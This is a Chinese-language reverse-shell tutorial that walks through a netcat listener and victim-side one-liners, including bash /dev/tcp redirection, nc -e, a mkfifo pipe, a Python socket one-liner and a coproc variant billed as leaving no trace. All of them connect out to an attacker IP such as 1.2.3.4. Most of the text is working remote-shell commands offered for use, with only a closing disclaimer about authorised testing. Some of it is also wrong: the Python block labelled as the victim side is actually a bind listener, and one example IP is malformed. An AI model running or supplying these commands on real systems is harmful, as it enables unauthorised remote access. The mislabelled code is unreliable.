什么是反弹 Shell?
反弹 Shell 是一种网络攻击技术,指攻击者让目标机器主动连接到攻击者指定的主机和端口,从而在攻击者的机器上获得一个目标机器的 Shell(命令行界面)。

为什么需要反弹 Shell?
- 绕过防火墙:目标机器的防火墙通常会严格限制入站连接(外部连向内部),但对出站连接(内部连向外部)的限制较少,反弹 Shell 就是利用出站连接来建立通信。
- 动态公网 IP:如果攻击者的网络是动态 IP,目标很难主动连接回来,但目标可以主动发起连接,连接到攻击者当前的公网 IP。
- 内网渗透:当攻击者攻陷一台内网主机后,想进一步横向移动到其他内网主机时,可以通过这台“跳板机”反弹一个 Shell 回到自己的 VPS,这样所有后续操作都通过这台跳板机转发,隐蔽性更好。
准备工作
在执行命令前,你需要两个终端:
- 攻击者终端:你的本地机器,需要有一个公网 IP 或一个公网可达的服务器(VPS),你在这里监听指定的端口。
- 受害者终端:目标机器,你需要执行反弹命令的地方。
基础反弹 Shell 命令
这是最经典、最基础的反弹 Shell 命令组合。
攻击者端(监听)
在你的本地机器上执行,开启一个 TCP 监听,等待目标机器的连接。

# -l 表示 listen (监听) # -v 表示 verbose (详细输出),会显示连接信息 # -p 表示 port (指定端口) # -n 表示 numeric,避免 DNS 解析,速度更快 nc -lvnp <端口号>
示例: 在本机监听 4444 端口。
nc -lvnp 4444
执行后,终端会卡住,等待连接,直到目标机器连接上来。
受害者端(执行)
在目标机器上执行,它会尝试连接到攻击者的 IP 和端口,并将标准输入、标准输出和标准错误都重定向到这个网络连接上。
# /bin/bash 是要执行的 shell 程序 # /dev/tcp/攻击者IP/攻击者端口 是一个 Linux 特有的“文件”,可以用来建立 TCP 连接 # 0< 表示标准输入 (stdin) 重定向 # 1> 表示标准输出 (stdout) 重定向 # 2> 表示标准错误 (stderr) 重定向 # &> 表示标准输出和标准错误都重定向 /bin/bash -i > /dev/tcp/攻击者IP/攻击者端口 0<&1 2>&1
示例: 假设攻击者公网 IP 是 2.3.4,监听端口是 4444。

/bin/bash -i > /dev/tcp/1.2.3.4/4444 0<&1 2>&1
命令解释:
/bin/bash -i: 启动一个交互式的 Bash Shell。> /dev/tcp/.../...: 将这个 Shell 的标准输出重定向到指定的网络连接。0<&1: 将标准输入重定向到标准输出(也就是网络连接)。2>&1: 将标准错误重定向到标准输出(也就是网络连接)。
当受害者在目标机器上执行这个命令后,攻击者的监听终端就会立刻收到一个连接,并得到一个交互式的 Shell。
不同 Shell 和场景的变种
在实际环境中,目标机器上可能没有 /bin/bash,或者 /dev/tcp/ 被禁用了,这时就需要使用其他方法。
使用其他 Shell
/bin/bash 不存在,可以尝试其他常见的 shell,如 /bin/sh, /bin/zsh, /bin/dash 等。
# 使用 sh /bin/sh -i > /dev/tcp/1.2.3.4/4444 0<&1 2>&1 # 使用 zsh /bin/zsh -i > /dev/tcp/1.2.3.4/4444 0<&1 2>&1
使用 nc 自身反弹(更可靠)
如果目标机器上安装了 nc 并且版本支持 -e 参数(这是最古老、最经典的用法),反弹命令会非常简单。
受害者端:
# -e 指定当连接建立后,要执行的程序 nc -e /bin/bash 攻击者IP 攻击者端口
示例:
nc -e /bin/bash 1.2.3.4 4444
攻击者端: 攻击者端监听命令不变。
nc -lvnp 4444
注意: 很多现代版本的 nc(如 netcat-openbsd)为了安全,默认不支持 -e 参数,你需要使用 ncat (来自 Nmap 套件) 或者旧版的 netcat-traditional。
使用 mkfifo 和 nc(绕过 -e 限制)
这是最常用、最通用的方法之一,因为它不依赖 -e 参数,适用于大多数现代 nc 版本。
受害者端:
# 创建一个命名管道 mkfifo /tmp/fifo # 将管道的输入输出通过网络连接起来,同时启动一个交互式 shell cat /tmp/fifo | /bin/bash -i 2>&1 | nc 攻击者IP 攻击者端口 > /tmp/fifo # 执行后删除管道(可选) rm /tmp/fifo
命令解释:
mkfifo /tmp/fifo: 创建一个先进先出的管道文件,它像一个双向的通信中转站。cat /tmp/fifo | ...:cat从管道中读取攻击者发来的命令(输入)。... | nc ... | ...:nc将命令发送给/bin/bash,并将bash的执行结果(输出)发回给攻击者。... > /tmp/fifo:nc收到的攻击者输入又被写回管道,形成一个完整的闭环。
使用 Python (跨平台)
如果目标机器有 Python,这是非常可靠的方法,因为 Python 在大多数 Linux 和 macOS 系统上都有。
受害者端:
import os, socket, subprocess, threading
def handle_client(conn):
conn.send(b"$ ") # 发送提示符
while True:
try:
command = conn.recv(1024).decode()
if not command: break
output = subprocess.run(command.strip(), shell=True, capture_output=True, text=True)
conn.send(f"{output.stdout}{output.stderr}$ ".encode())
except: break
conn.close()
def listener():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 4444)) # 监听所有网络接口
server.listen(1)
print("Listening on 0.0.0.0:4444...")
conn, addr = server.accept()
handle_client(conn)
listener()
或者用一行代码执行:
-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
使用 Bash 5.0+ 的 /dev/tcp/ (无文件反弹)
如果目标 Bash 版本 >= 5.0,可以利用 coproc 特性实现无文件的内存反弹,不留痕迹。
受害者端:
# coproc 会创建一个异步的读写管道 coproc bash -c 'bash -i &> /dev/tcp/1.2.3.4/4444'
常见问题与解决
Q: 连接上了,但是不能输入命令,或者输入了没反应?
A: 这通常是因为 Shell 的终端设置问题,攻击者端可以执行以下命令来修复:
# 在攻击者获得连接后,执行 export TERM=xterm stty raw -echo; fg # fg 命令可以将后台的 nc 进程拉到前台 # stty raw -echo 设置终端为原始模式,不回显
Q: nc: invalid option -- 'e'
A: 说明你的 nc 版本不支持 -e,请使用 mkfifo 方法或者 ncat。
Q: 目标机器没有 nc 怎么办?
A: 使用其他方法,如 Python、Perl、PHP、Bash 等,Python 是最推荐的后备方案。
安全警告
这些命令和技巧仅用于授权的渗透测试、安全研究和学习目的。
- 未经授权访问任何计算机系统都是非法的。
- 在未获得明确书面许可的情况下,对任何不属于你的系统执行这些操作,可能会导致严重的法律后果。
- 请始终在授权的测试环境(如你自己的虚拟机或专门的靶场)中练习这些技术。
